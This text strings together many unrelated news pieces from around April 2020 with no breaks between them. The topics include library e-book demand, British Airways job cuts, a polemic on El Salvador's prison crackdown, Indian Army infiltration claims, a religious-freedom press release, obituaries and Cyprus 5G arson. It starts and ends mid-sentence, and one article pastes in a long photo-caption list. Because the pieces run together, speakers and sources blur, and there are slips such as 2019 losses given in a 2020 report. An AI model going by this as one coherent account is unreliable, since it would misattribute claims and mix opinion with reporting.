the 2000s, and in 1998, conducted the White Star Orchestra in "Titanic: Music As Heard On The Fateful Voyage," which won a Grammy for design and a nomination for his liner notes. In a Facebook post just three days before he died, Whitcomb's wife, Regina, wrote: "While Ian enjoyed his minutes of fame, it's you, those people he saw in the audience/dance floor/lectures and connected with that he carries in his heart. Every note, lyric, book, liner note, he wrote these to share with you -- not to line his pockets with cash." Listen to my 2012 interview below: On the March day that her school closed for the year, Albany fifth-grader Rory Schroeder walked home with her friends, said goodbye, picked up her blue iPod and ordered the 10-volume e-audiobook childrens adventure series The 39 Clues from the Berkeley Public Library. Each volume is due in 21 days so she is stretching out the series to the max. I listen to each one as many times as I can manage in these days, said Schroeder, 11, who prefers audio books to e-books because she can draw and paint while she listens. I dont really have anything else to do since I am stuck at home. Schroeder does not consider herself a trend-setter or a trend-follower, hence her use of an old-school iPod instead of an iPad or iPhone. But she was in front of the trend on this one. Public libraries everywhere have experienced a dramatic upswing in demand for e-books and e-audiobooks since the physical buildings closed to comply with ordinances to slow the spread of coronavirus, locking all of those hard copies up inside with nowhere to go. The Berkeley Public Library has seen digital checkouts rise more than 50% since it closed March 16, from around 40,000 to 66,000 per month. And since the shelter-in-place order went into effect, it has shifted its purchasing budget from 80% hard copy books to 80% e-books and e-audiobooks through the end of its fiscal year in June. Even that cannot meet the demand. The popular childrens titles have 100 kids or more waiting to read the books on screens or listen to them on earbuds. A common misconception is that digital books can be shared like songs; but an e-book is like any other library book. Licensing by publishers limits it to one book for one reader at a time. As a result, even the adult e-books have waiting lists in Berkeley, especially those with doomsday titles. A Paradise Built in Hell by Rebecca Solnit has four e-book copies checked out with a waiting list of 20, while Love in the Time of Cholera by Gabriel Garcia Marquez has all three copies out and 24 in line for it. Readers will read from whatever format they can get their hands on, said Elliot Warren, acting director of library services for the five-branch Berkeley system. For 10 years or more, library systems have been predicting a shift to digital, which had only grown incrementally. Platforms that were increasing by 5% or 10% a year are suddenly increasing by as much as 50% a month. Since the mid-March closure, Contra Costa County Libraries, which range from Richmond to Orinda and on out to Walnut Creek and San Ramon, have seen checkouts rise 30%. Daily online visits have doubled to more than 3,000 a day. Palo Alto City Library has seen e-book checkouts increase 40% from March to April. This should only increase long-term as the city has also announced that one or more of its five locations might close in the face of a projected $30 million loss in revenue due to COVID-19. MARINet, a consortium of public libraries in Marin County, had 6,797 more digital checkouts in March than in February and those numbers are expected to go much higher for April. As of April 19, the San Francisco Public Library had registered 2,559 new users for its eResource offerings in books, movies and music since the Main Library and all 28 branches in the system closed on March 14. During the last two weeks of March we were getting 80 to 100 e-card requests a day, said Electronic Resources Librarian Daniel Matsumoto. These are people who did not have regular library cards. They are surprised that the library is open, and even more surprised when they get online and realize there is so much content available. The adult trend in San Francisco is leaning toward the apocalyptic. People are reading end of the world types of things, Matsumoto said, noting that all 48 digital copies of John Barrys The Great Influenza are out, with 188 people on the waiting list. The Plague by Albert Camus has 45 copies on loan with 186 waiting. They are all due in three weeks, with no renewal if there is a waiting list. Meanwhile, the due date for all print copies in San Francisco has been extended until June 1, and every book outstanding will have to be kept until then. All book drops are locked. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. The Berkeley Public Library announced on March 14 that it would be closing March 16. The day between, March 15, Warren was on the floor of the Central Library and noticed that the crowd was three times the size it would normally be. People were stocking up, said Warren, who now refers to it as the Sunday borrow-athon. The limit is 75 individual titles per cardholder, and some would have hit the limit if only they could have carried them. Aalto Jermyn, 10, checked out 20 books from the North Branch that weekend to go with the 40 he already had on hand. But 60 books is not enough for Aalto, a fourth-grader at Sylvia Mendez Elementary School, where he has learned to read in two languages. He will read all day, said his mom, Dr. Jacqueline Park. Even if we got a shopping cart full of books, it will not get us through the shelter in place. So she ordered a Kindle for all four family members to share and got them separate accounts so they could check out 10 titles apiece. Aalto has been cribbing from his little brother, Hugo, and has 20 e-books. Hes now reading so much on the Kindle that his parents are worried about screen time. School is still in session and there is time in front of a laptop to consider, too. When Aalto hears his mom on the phone expressing the concern, he looks up from the glow of the machine to offer a solution. If you dont like me looking at the screen so much, he says. I would be happy to quit school. Sam Whiting is a San Francisco Chronicle staff writer. Email: swhiting@sfchronicle.com Twitter: @samwhitingsf Gold Coast-based model London Goheen has hit back at a cruel troll who accused her of having 'nasty' implants to enhance her buttocks. On Tuesday, the American-born influencer, 22, flaunted her perky posterior as she posed in a picture with her boyfriend, Tammy Hembrow's ex-fiance, Reece Hawkins. While many complimented her gym-honed physique, the hateful comment 'butt implants are nasty' caught her attention. 'I'd never go that far and get butt implants': Gold Coast-based model London Goheen (pictured) has hit back at a cruel troll who accused her of having 'nasty' implants to enhance her buttocks. Pictured with boyfriend Reece Hawkins London responded immediately by saying she would 'never' get buttock implants, before explaining the accentuated look was all down to the lighting and shadows. 'I'd never go that far and get butt implants,' London replied. 'I can see how it looks like that in this pic but being really lean and the shadows make it look better than what it is,' she added. Cruel: While many complimented her gym-honed physique, the hateful comment 'butt implants are nasty' caught her attention Hitting back: London responded immediately by saying she would 'never' get buttock implants, before explaining the accentuated look was all down to the lighting and shadows Self-confidence: 'I was nervous to post this bc I had a feeling ppl [people] would say that but I realised I shouldn't care and should be proud I got a pic with my butt looking this good anyways' she added 'I was nervous to post this bc I had a feeling ppl [people] would say that, but I realised I shouldn't care and should be proud I got a pic with my butt looking this good anyways.' Her legion of Instagram followers also rushed to the brunette's defense, blasting the male troll for judging a woman's body. 'A grown old white man commenting insults on a women's body is nasty,' one fan wrote. 'Your personality is what's ugly': Her legion of Instagram followers also rushed to the brunette's defense, blasting the male troll for judging a woman's body Another added: 'Your personality is what's ugly. Go get a life. So obsessed with ass you became one.' 'Damn girl, I'm sorry ppl can't let you live! Please post whatever YOU get comfortable with. Ppl are always going to hate,' a third said. London gained widespread media attention when she started dating Reece, who shares two children with Instagram star Tammy, who also often has to deny claims she has had buttock implants. A Turkish military cargo plane carrying medical supplies left for the U.S. to boost its fight against the coronavirus pandemic, in a gesture of solidarity with a NATO ally after years of fractious relations. The donation ordered by President Recep Tayyip Erdogan, including 500,000 surgical masks, 40,000 protective overalls, disinfectants, goggles and face shields, is expected to arrive at the Andrews Air Force Base near Washington on Tuesday. Turkey has sent medical supplies to more than 50 countries so far, Fahrettin Altun, the president's communications director, said in a Twitter posting, signaling its intent to expand ties. The government has a substantial outbreak of its own to contend with, with more than 112,000 reported cases and 2,900 deaths. "In Europe and America, many seriously ill people are being left to fend for themselves, on grounds they aren't insured or due to lack of hospital capacity," Erdogan said in a televised speech on Monday, contrasting that with what he called the "first class" health care being offered to Turkish citizens. The U.S. and Turkey have been at odds over a series of flashpoints, most recently over Turkey's purchase last year of a Russian-made missile-defense system which the U.S. says can help Moscow gather critical NATO intelligence. Erdogan's personal relationship with President Donald Trump has, however, survived the disputes even as Washington threatened Turkey with sanctions if it deployed the S-400 missile batteries. Turkey had "slowed down" the planned April activation of the missiles, top defense industry official Ismail Demir told state-run TRT television on Tuesday. U.S. Ambassador David Satterfield thanked Turkey for a "generous donation." "As this delivery indicates, the U.S.-Turkey relationship is strong and one of our most important alliances," Satterfield said. "We look forward to continuing cooperation with Turkey on this and many other mutual priorities." British Airways is to make up to 12,000 staff redundant in response to the coronavirus pandemic. The airline has cut 94 per cent of its flights and its parent company, IAG, lost almost half a billion pounds in the first three months of 2019, with much heavier losses expected. As a result, British Airways has begun consulting with unions representing pilots, cabin crew and ground-based staff over redundancies for almost 30 per cent of employees. The scale of the proposed redundancies indicate that British Airways intends to trim its flying schedule by one-quarter. Cuts are likely to be more substantial at Gatwick than at BAs main base, Heathrow. Alex Cruz, BAs chief executive and chairman, said: Yesterday, British Airways flew just a handful of aircraft out of Heathrow. On a normal day we would fly more than 300. What we are facing as an airline, like so many other businesses up and down the country, is that there is no normal any longer. Our very limited flying schedule means that revenues are not coming into our business. In the last few weeks, the outlook for the aviation industry has worsened further and we must take action now. We are a strong, well-managed business that has faced into, and overcome, many crises in our 100 year history. We must overcome this crisis ourselves, too. We do not know when countries will reopen their borders or when the lockdowns will lift, and so we have to reimagine and reshape our airline and create a new future for our people, our customers and the destinations we serve. We have informed the government and the trade unions of our proposals to consult over a number of changes, including possible reductions in headcount. British Airways has furloughed nearly 23,000 staff under the governments Job Retention Scheme. IAG, which includes Aer Lingus, Iberia of Spain and the low-cost carrier, Vueling, said: Recovery to the level of passenger demand in 2019 is expected to take several years, necessitating group-wide restructuring measures. Mr Cruz said: There is no government bailout standing by for BA and we cannot expect the taxpayer to offset salaries indefinitely. Any money we borrow now will only be short term and will not address the longer term challenges we will face. Silence for key workers who lost lives to coronavirus Show all 30 1 /30 Silence for key workers who lost lives to coronavirus Silence for key workers who lost lives to coronavirus Staff react outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff inside Camberwell bus depot in London, during a minute's silence PA Silence for key workers who lost lives to coronavirus NHS staff at the Mater hospital in Belfast, during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak. PA Silence for key workers who lost lives to coronavirus Shoppers observe a minute's silence in Tescos in Shoreham Getty Silence for key workers who lost lives to coronavirus Firefighters outside Godstone fire station PA Silence for key workers who lost lives to coronavirus Salford Royal Hospital Getty Silence for key workers who lost lives to coronavirus Salford Royal Hospital PA Silence for key workers who lost lives to coronavirus Hospital workers take part in a protest calling on the British government to provide PPE across Britain for all workers in care, the NHS and other vital public services after a nationwide minute's silence at University College Hospital in London AP Silence for key workers who lost lives to coronavirus A school children's poster hanging outside Glenfield Hospital during a minute's silence Getty Silence for key workers who lost lives to coronavirus A man holds a placard that reads "People's health before profit" outside St Thomas hospital Getty Silence for key workers who lost lives to coronavirus Staff members applaud outside the Royal Derby Hospital, following a minute's silence PA Silence for key workers who lost lives to coronavirus Cabinet Secretary Mark Sedwill, Prime minister Boris Johnson and Chancellor of the Exchequer Rishi Sunak, stand inside 10 Downing Street, London, to observe a minutes silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus University College Hospital, London Hospital workers hold placards with the names of their colleagues who have died from coronavirus as they take part in a protest calling on the British government to provide PPE AP Silence for key workers who lost lives to coronavirus Staff at Waterloo Station in London, stand to observe a minute's silence, to pay tribute to NHS and key workers who have died with coronavirus AP Silence for key workers who lost lives to coronavirus Medical staff at the Louisa Jordan hospital stand during a UK wide minutes silence to commemorate the key workers who have died with coronavirus in Glasgow Getty Silence for key workers who lost lives to coronavirus London An NHS worker observes a minute's silence at Chelsea and Westminster Hospital Reuters Silence for key workers who lost lives to coronavirus Chelsea and Westminster Hospital in London AFP via Getty Silence for key workers who lost lives to coronavirus Belfast, Northern Ireland NHS staff observe a minutes silence at Mater Infirmorum Hospital Reuters Silence for key workers who lost lives to coronavirus Plymouth NHS workers hold a minute's silence outside the main entrance of Derriford Hospital Getty Silence for key workers who lost lives to coronavirus NHS Frimley Park Hospital staff at the A&E department observe a minute's silence Getty Silence for key workers who lost lives to coronavirus Mater Infirmorum Hospital People applaud after a minutes silence in honour of key workers Reuters Silence for key workers who lost lives to coronavirus Waterloo Station, London AP Silence for key workers who lost lives to coronavirus Wreaths laid outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus A group of trade unionists and supporters standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus First Minister Nicola Sturgeon stands outside St Andrew's House in Edinburgh to observe a minute's silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff stand outside the Royal Derby Hospital, during a minutes silence PA Silence for key workers who lost lives to coronavirus London Police officers observe a minutes silence at Guy's Hospital Reuters Silence for key workers who lost lives to coronavirus A woman standing outside Sheffield town hall PA Silence for key workers who lost lives to coronavirus Royal Derby Hospital PA Silence for key workers who lost lives to coronavirus Leicester, NHS workers during a minute's silence outside Glenfield Hospital Getty The scale of the proposed redundancies indicate that British Airways intends to trim its flying schedule by one-quarter. Gatwick airport is likely to be much harder hit than BAs main base, Heathrow. Profitability at the Sussex airport has always been poorer than at Heathrow. In addition, the airline will be keen to retain its slot portfolio at Heathrow, where it currently operates just over half the total take offs and landings. BAs fleet will also shrink significantly. The carrier has already flown some of its ageing Boeing 747s to be scrapped, and the future of its 12 Airbus A380 SuperJumbo aircraft is uncertain. The British Airline Pilots Association (Balpa) called BAs announcement a bolt out of the blue. The pilots unions general secretary, Brian Strutton said: BA pilots and all staff are devastated by the announcement of up to 12,000 possible job losses in British Airways. This has come as a bolt out of the blue from an airline that said it was wealthy enough to weather the Covid storm and declined any government support. Balpa does not accept that a case has been made for these job losses and we will be fighting to save every single one. An employee of the NITI Aayog, the governments main think-tank, tested positive for coronavirus on Tuesday after which the building was sealed for the next 48 hours, a senior official said. However, Vice-Chairman Rajiv Kumar said members have been working from remote locations and will continue to do so. The Aayog also issued a statement, saying all officers are currently working from home. Quoting Alok Kumar, an advisor in the Aayog, news agency PTI said the employee was a director-level officer. He got his report at 9 am after which he informed the authorities. ... President Donald Trump said Monday he expects to see a "lot" of US schools reopen after being shut down by the coronavirus pandemic. "Many (state governors) are thinking about their school system," Trump said at a daily White House briefing. "Not a long way to go in the school system right now, for this season, for this year, but I think you'll see a lot of schools open up," he said. "Even if it's for a very short period of time, I think it would be a good thing," Trump told reporters. "Young people seem to do very well," he added in an apparent reference to studies showing that children do not get as sick from the virus as older people. "So I know that there are some governors that aren't necessarily ready to open up their states, but they may be ready to open up their school systems," Trump said. "That's their choice, but the word is safety," he said. "Rapid -- but safety." Schools around the country have closed because of the coronavirus pandemic and many have switched to online instruction. The outbreak has left more than 55,000 people dead in the United States. US President Donald Trump said he expects to see schools considering reopening to focus on safety In the early hours of Saturday, prisoners in El Salvador were pulled out of their cells, stripped to their underwear and forced to tightly press against each other on the floor while officials ransacked their cells. With 323 confirmed COVID-19 cases and eight deaths, President Nayib Bukele warned on Monday that there is a total community transmission, meaning that the outbreak is far larger than reported. Outrageous images of hundreds of half-naked prisoners forced to sit pressed against each other in tightly packed rows could easily be interpreted as unauthorized leaks. Some of the photos, however, were shot by the governments own photographers and shared by Bukele himself and several government agencies, while the international media was welcomed into the prison to film the horrific spectacle. The operation began after the government declared a state of emergency, citing an alleged uptick in murders across the country, ostensibly ordered by gang leaders from within the prisons. There was no evidence provided to support this claim, nor any found in the raids. Detained gang leaders were placed in isolation, and members of rival gangs recklessly placed in common cells. El Salvador's prisoners subjected to barbaric crackdown (Credit: El Salvadors Presidency Press Office) The policy is itself murderous and dictatorial. On March 10, Bukele himself ordered an end to an existing state of emergency in prisons to focus on ending overcrowding and preventing the coronavirus in the prison population. Even the 1983 constitution, established by a fascist military junta, does not conceive of the extra-legal fabrication of a state of emergency. It lists a regime of exception that suspends most constitutional rights, but not the right to life, physical and moral integrity being denied to prisoners. The measures have endangered staff at prisons, and the whole country. There are a number of objectives behind this anti-gang campaign as the pandemic crisis intensifies, but protecting Salvadoran lives is not among them. The crackdown is less a reaction to killings than a calculated class response to growing social opposition. All across the world, the capitalist ruling class is concluding that protecting their wealth and profit interests during the deepening crisis is incompatible with democratic forms of rule. On Friday morning, Bukele met with US Ambassador Ronald Johnson to call US President Donald Trump. This was followed by public statements of mutual support. Later that day, the government and El Salvadors main business organizations announced a plan to reactivate the economy, including a $1 billion program involving mostly loans for corporations and small businesses and a mere $50 million for food assistance. We have been developing this economic proposal with international organizations and investors who buy Salvadoran bonds, commented Economy Minister Nelson Fuentes. Bukele added: Our priority will continue to be protecting the health and lives of Salvadorans; however, in parallel, well give a push to our economy to hold on and start the engines of our creativity, entrepreneurship and labor. Shortly afterward, he ordered the assault on the prisoners. On the one hand, corporations are demanding a gradual re-opening of nonessential businesses under unsafe conditions, even though the quarantine measures have been extended until May 16. On the other, the working class, whose majority survive day-to-day in the informal sector, demands aid and continued social distancing measures and other protections necessary to contain the virus. Widespread protests broke out and were repressed by riot police on March 30, when the government closed the offices handing out $300 stipends to the most impoverished sectors. Under these pressures, the response by the Salvadoran oligarchy is defined by its total subordination to US imperialism, as administratorswithin the domain of the Salvadoran nation-stateof the supply of cheap labor, natural resources and a limited consumer market for transnational corporations and finance capital, combined with the sacking of public finances for bondholders. Behind his anti-gang campaign, Bukele is openly moving to undermine the Legislative Assembly and establish a personalist dictatorship with the support of the armed forces. Since his electoral campaign last year, he has based his strategy on exploiting popular disdain for the corrupt traditional parties. The Assembly is controlled by the Farabundo Marti Front for National Liberation (FMLN) and the Republican National Alliance (ARENA), which shared power from the end of the civil war in 1992 until 2019, consistently defending the interests of the ruling elite through austerity, privatizations, the maintenance of poverty wages and the creation of US-trained special forces who have been associated with death squads. Despite direct violent threats, they have responded to Bukeles policies with mild criticism, while doing everything possible to prevent the outbreak of protests. They have approved record spending for the military and a $2 billion loan to deal with the pandemic. On February 9, Bukele occupied the Assembly with troops, claiming the legislators were tied to the gangs and demanding the approval of a loan for the further buildup of the armed forces. A crowd of a few thousand Bukele supporters gathered outside, demanding that troops drag the opposition deputies out. Last Thursday, Bukele fabricated a significant suspicion of a COVID-19 outbreak among legislators to force the suspension of the Assemblys proceedings that day. On Sunday, he claimed on Twitter that the government has not seen a single cent of the money approved by the Assembly, adding, Sooner or later, they [legislators] will pay for their anti-patriotic actions. And on Monday morning, his legal secretary, Conan Castro, spoke of signs, again without providing evidence, that the political parties are financing the reported uptick in killings. Seeking to create a war atmosphere, Bukele then shared pictures of a meeting with the security cabinet, held around 1 a.m. on Monday. While initially aimed against the Congress and gangs, both of whom he has referred to as plagues, the ultimate target of this authoritarian drive is the working class. Bukele seeks to mobilize fascistic layers of the armed forces and his politically disoriented supporters as shock troops against social opposition from workers and youth. This is signaled by numerous comments on official publications featuring the pictures of the huddled prisoners. One man wrote, What a treat to spray Baygon [insecticide]all the cockroaches together. Another wrote, Maybe theyll die faster that way, all those killer dogs. This weekend, police arrested Aaron Elias Martinez, after he recorded a video on social media claiming to lead an armed group against all those who want to agitate people against the president. In what was clearly a response to the arrest, Bukele sought to promote death squad activity as a legitimate defense. He tweeted, The use of lethal force is authorized for self-defense and defending the lives of Salvadorans. He added that his government will provide legal defense to those unjustly accused of defending the lives of honorable people. The social quarantine measures have already been focused on attacking due process and normalizing police abuses much more broadly than in the prisons. Over 2,000 people, mostly informal workers, have been arrested. As of April 22, the Human Rights Ombudsman had reported 778 accusations against the police and military regarding illegal detentions and cruel, inhuman and degrading treatment as part of the quarantine. El Faro reported that on April 15, seven soldiers and a police official entered and raided rooms in at least six homes in Mejicanos, threatening people and warning them not to leave their homes, while potentially contaminating them. The conditions are being prepared to employ the quarantine measures to crack down on opposition, force increasing numbers of workers to risk infecting themselves and their families at work, and cover up the human toll from COVID-19 and a lack of food and other basic necessities. This would require the participation of the largest maras, or gangs, MS-13 and Barrio 18, which effectively control most districts and hold large business interests. They have also been documented in the harassment of militant workers at maquiladoras at the service of their owners. Such barbaric plans, however, have not made a reckoning with mass opposition in the working class. Class actions against a premature return to work are already a global phenomenon. Workers, however, need to draw the necessary conclusions from the official response to the pandemic. Opposing the turn to dictatorship and the indifference of the government to their lives and livelihoods requires a revolutionary struggle of the international working class against the capitalist profit system, which is the source of these processes. In El Salvador, this means the building of a section of the International Committee of the Fourth International to lead the working class to fight for power and socialism. Maharashtra chief minister Uddhav Thackeray spoke to his Uttar Pradesh counterpart Yogi Adityanath over the killing of two sadhus in UPs Bulandshahr and expressed concern over it. Thackeray called for strict punishment for the perpetrators of the heinous crime and said that the incident should not be given a communal colour. I spoke to Uttar Pradesh chief minister Yogi Adityanath ji over the phone and expressed concern over the heinous murder of two sadhus in UPs Bulandshahr. I told him that we are with you. Just the way we acted strongly in such a case, I wish you would do the same and bring the accused to justice. However, I appeal to you that the incident should not be given a communal colour, Thackeray said. Adityanath had spoken to Thackeray after two sadhus were lynched in Maharashtras Palghar district earlier this month. The Maharashtra home department had subsequently booked over 100 people in connection with the case. While the BJP leaders suggested that the killing was intentional, the state government dismissed any communal angle in the Palghar lynching incident. Sena leader Sanjay Raut had earlier tweeted on the killings, warning against giving it a communal twist. Terrible! Killing of two saints, sadhus at a temple in Bulandshahar, UP, but I appeal to all concerned to not make it communal the way they tried to make Palghar, Maharashtra incident, Raut said. The bodies of the two sadhus were found inside a temple in a village in Bulandshahr on Monday night. The police arrested Murari alias Raju in connection with the murder of Jagdish or Rangidas, 55, and his 46-year-old disciple Sher Singh. The man told the police that it was Gods will. The accused claimed during interrogation that it was the will of God meaning there was no personal enmity, a senior government official said while speaking to reporters. Officials said Raju allegedly had an altercation with the sadhus over stealing their chimta or tong. WATERLOO Black Hawk County health officials are encouraging churches to avoid mass gatherings despite Gov. Kim Reynolds allowing religious services to resume. Thats something very difficult for us locally, said Nafissa Cisse Egbuonye, county health director. Religious services are one of the places that people do go and congregate. If you look at populations within the religious services you have a huge number of the elderly population there. Egbuonye said the county emergency operations center dealing with the COVID-19 pandemic locally has received calls from local church leaders after Reynolds announced Monday that religious services could resume around the state starting Friday. People do need to stay and home, Egbuonye told the county Board of Supervisors on Tuesday. If religious services can continue to do the Zoom (online meetings) and conferences using technology, thats the best approach at this point. Church services were among the activities halted in March to prevent spread of the coronavirus. Reynolds announced Monday she was lifting the ban on religious services in all 99 Iowa counties. Some 77 counties would also be allowed to reopen restaurants and stores at a 50 percent capacity. Black Hawk, which leads the state with 1,346 COVID-19 cases and has seen 11 deaths, was among 22 counties where the restrictions on businesses would remain in effect. Egbuonye also told the supervisors the Iowa Department of Public Health will be taking over the majority of the COVID-19 case investigations in Black Hawk just due to the volume that we have received over the last several weeks. Weve been averaging just about 86 cases a day, so we just did not have the capacity, Egbuonye said. We will be engaged with them thoroughly to know whats going on with the case investigations in Black Hawk County. Army re-calibrating counter-intel grid as Pak tries to push terrorists who are COVID-19 positive India oi-Vicky Nanjappa New Delhi, Apr 28: The Indian Army is undertaking steps to re-calibrate its counter-infiltration grid in the wake of a huge number of terrorists arriving at the launchpads along the India-Pakistan border. The Intelligence Bureau has said that there are nearly 450 terrorists waiting to infiltrate into India and hence the Army has also taken steps to ramp up counter-insurgency strategies to check the intrusion. Social distancing: How Indian Forces are disposing off terrorists with quiet funerals The Army is also concerned about the spread of the coronavirus. The IB had said that there is a good chance that Pakistan may send in infected terrorists. This would be a big challenge to deal with, an IB official told OneIndia. Lt Gen B S Raju, who is commanding the strategically-located XV corps in Kashmir, has also asked his formations to take adequate precautions during patrolling along the Line of Control (LoC) in view of the coronavirus outbreak with the possibility of the infiltrating terrorists having infection not being ruled out. The field intelligence units of the Army coupled with inputs comprising HUMINT (human intelligence) and TECHINT (technical intelligence) indicate that around 300 terrorists, mainly of the banned Hizbul Mujahideen and Lashkar-e-Tayiba are waiting across the border to sneak in, officials said, citing reports from Srinagar collated in the national capital. As many as 16 launch pads along the LoC had been activated in the recent weeks by the Pakistan Army and its external snooping agency ISI which included those located in difficult terrains like Nowshera and Chhamb from where the terrorists are known to enter the Gulmarg area of north Kashmir. The reports said Gen Raju has been regularly holding meetings with the formations to work on the re-calibration of Counter Infiltration Grid (CIG) to ensure that no terrorist gives the slip and reaches the hinterland after crossing the LoC. Pakistan escalates efforts to disrupt, but Army has terror under control The increased attempts from across the border to push in militants are also being factored in by the Army in its new approach. In the event of an engagement at the LoC with the terrorists, the troops have been asked to handle any bodies with utmost care as they could be infected with the novel coronavirus, the officials said. The CIG has been made much more robust and the coordination among various security agencies in the grid smooth, the officials said, adding some changes have been made in the troop deployment which includes putting an additional layer of troops. Officials said a heavy concentration of terrorists was witnessed across Leepa valley, Athmuqam and Dudniyal, the same area in higher reaches of Keran sector in north Kashmir where a group of five terrorists had infiltrated on April 1 and who were subsequently neutralised on April 5. Five army personnel also lost their lives in the gunfight. The launch pads like Dumail, Sardari and Dhakki, which are normally activated in late summer, had also witnessed the presence of terror groups this time, the officials said. Among other launch pads that had seen presence of terrorists included Shardi, Neelum valley, Nowshera and even Chakoti, Khoja bandi and Haji Peer. These camps were used by the terrorists to sneak into the Uri army camp in 2016. As many as 19 soldiers were killed when four terrorists entered the camp on September 18, 2016. All the infiltrating terrorists were subsequently killed. This incident led to Uri surgical strikes in which the Army's special forces targeted the terror camps across the LoC. Despite the virus spreading like wildfire, Pakistan has lined up scores of terrorists and is looking to push them into India. Terror activity in Pakistan continues unabated, the officer also said. They are looking to take advantage of the situation and send in as many terrorists as possible into Jammu and Kashmir, the officer also said. Terrorists of both the Lashkar-e-Tayiba and Jaish-e-Mohammad have been sent closer to the border and Pakistan has been looking for an opportunity to send them into India. The IB picked up intercepts that suggested that Pakistan has activated its launch pads along the Line of Control and the International Border. The officer cited above said that Pakistan is taking advantage of the situation, while the security forces are busy with helping the administration fight against the coronavirus outbreak. The officer said that the launchpads have at least 200 terrorists waiting to infiltrate. Pakistan also resorts to ceasefire violations even in today's situation so that they can provide cover fire to the terrorists. There has been a huge mobilisation that has been taking place since February. These terrorists numbering around 200 came in batches. Today, they are looking to take advantage of the situation and infiltrate to the LoC and International Border. The recent operation in the Keran sector showed that Pakistan continued with its terror activities. Five terrorists were killed in the operation, while, five elite commandoes too were martyred. Indias new headache: Coronavirus positive terrorists from Pakistan Pakistan has been losing terrorists by the dozen in the various encounters in the Valley. They have lost a good number of overground workers and terrorists. Most of the top commanders have been wiped out and Home Ministry data for January-February show that 24 terrorists were killed while 48 were arrested. This explains the desperation, the IB officer says. Meanwhile, in a positive development, Pulwama became the first coronavirus free district in the Union Territory of Jammu and Kashmir. For Breaking News and Instant Updates Allow Notifications Story first published: Tuesday, April 28, 2020, 12:47 [IST] WASHINGTON, April 28, 2020 /PRNewswire/ -- Family Research Council religious freedom experts reacted to today's release of the 2020 Annual Report from the U.S. Commission for International Religious Freedom, which documents the worst religious freedom violators worldwide and makes recommendations to the administration regarding what should be done about them. Among the countries named were some of those that FRC has focused its international religious freedom advocacy on China, India, North Korea, Nigeria, and Iran. In its report, USCIRF recommended that each of these countries be designated or re-designated as a "country of particular concern" the most serious designation given to a religious freedom violator by the U.S. State Department. The report also reveals how pandemic restrictions have been used as a means to target religious minorities. FRC experts made the following comments regarding the 2020 Annual Report: Lela Gilbert, FRC's Senior Fellow for International Religious Freedom, said: "Nigeria, Africa's largest country, has become a crucible of violence and death, with Islamist groups targeting unarmed and undefended Christian communities and individuals across several states. Nigeria's leadership has turned a blind eye to ongoing atrocities and massacres and refused to rein in the genocidal terrorism of Boko Haram, Islamic State, and Fulani jihadis. Despite President Donald Trump's direct requests, President Muhammadu Buhari has utterly failed to put an end to the relentless persecution of Nigeria's Christians, who comprise roughly half of his country's population. "Despite the COVID-19 pandemic that is devastating Iran's population, the fanatical regime of Supreme Leader Khamenei has in no way moderated its abuse of Christians. They have refused to release a number of Christians from disease-ridden prisons, and have recently sentenced 21-year-old Christian, Mary Mohammadi, not only to prison-time but to 10 brutal lashessimply for refusing to renounce her faith," concluded Gilbert. Arielle Del Turco, FRC's Assistant Director of the Center for Religious Liberty, said: "USCIRF's report confirms what we already knowthat religious freedom in China is rapidly deteriorating. China uses all manner of new technology to control and suppress religious practice. As technology develops, so do China's human rights violations. "I am grateful that USCIRF lists India among the worst countries in the world on religious freedom. Indian leaders are sure to fight this accusation, but they have often been the ones to incite violence against religious minorities or look the other way when it occurs. "Swirling rumors about Kim Jong Un's health have brought North Korea back into the news. Yet the abysmal state of religious freedom in North Korea remains the same, and that fact is devastating for Christians there. As Chinese and North Korean authorities more closely guard their shared border, the spread of religious belief is even more stifled than before," concluded Del Turco. To schedule an interview with one of FRC's religious freedom experts, please contact [email protected] or call 866-372-6397. SOURCE Family Research Council Related Links http://www.frc.org There are many important parts of autistic culture that trace back to Mels writing and influence, Ari Neeman, a disability rights activist and author, said by email, but one of the most important is hir insistence that the neurodiversity and autistic self-advocacy movements include all autistic people, not just those who could talk. In the early days (and sometimes still now), he added, there were lots of people who argued for advocacy only for certain kinds of autistic people, leaving people who couldnt talk or who had the wrong diagnosis behind. Mel was one of the most powerful voices contradicting that. Mx. Baggs, who lived independently in Burlington until about a year ago, died at the home of Laura Tisoncik, an autism activist whom Anna Baggs described as Mels second mother and who had taken Mx. Baggs in as cascading health issues and problems with home health services made living independently impossible. Ms. Tisoncik (who emphatically rejected the idea that Mx. Baggs was faking anything), summed up Mx. Baggss core idea in a phone interview. There are no unimportant people, she said. Amanda Melissa Baggs was born on Aug. 15, 1980, in Mountain View, Calif., to Anna Marie (Lynch) Baggs, a respiratory practitioner, and Ronald Baggs, an electronics engineer. Childhood was spent in La Honda, Calif., about 45 miles south of San Francisco, where the redwood forests made an impression that was reflected in the poetry Mel wrote as an adult, Anna Baggs said. Mx. Baggs, who later adopted the name Amelia Evelyn Voicy Baggs and became known as Mel, for a time attended De Anza College in California and Bard College at Simons Rock in Great Barrington, Mass. I grew up sometimes able to speak and sometimes not, Mx. Baggs wrote on another blog, ballastexistenz, and with a complicated relationship to speech and receptive language. As an adult Mx. Baggs increasingly came to use a communication device, employing both a keyboard and picture symbols, and posted frequently. The topics addressed ranged far and wide. NICOSIA, Cyprus - Cyprus telecoms authority said on Tuesday unknown arsonists have torched a second mobile telephone antenna despite government efforts to quell groundless fears that its moving to install a 5G antenna network. A small, but vociferous, online campaign against 5G alleges in social media posts that emissions from the networks antennas pose a serious health risk and may be linked to the spread of COVID-19 by weakening the human immune system. CyTA said the attack targeted a 20-year-old installation in the coastal town of Limassol that has nothing to do with 5G. The first antenna that was set ablaze two weeks ago in the same town was also an older installation. CyTA urged authorities to get to the bottom of the attack, and said its looking at ways of protecting its installations. Cypriot President Nicos Anastasiades had condemned the first attack as a criminal act that endangered the lives of people with chronic ailments who rely on their mobile phones for medical assistance amid the coronavirus pandemic. Anastasiades said Cyprus isnt currently installing any new 5G network and that any decision to do so will be taken based solely 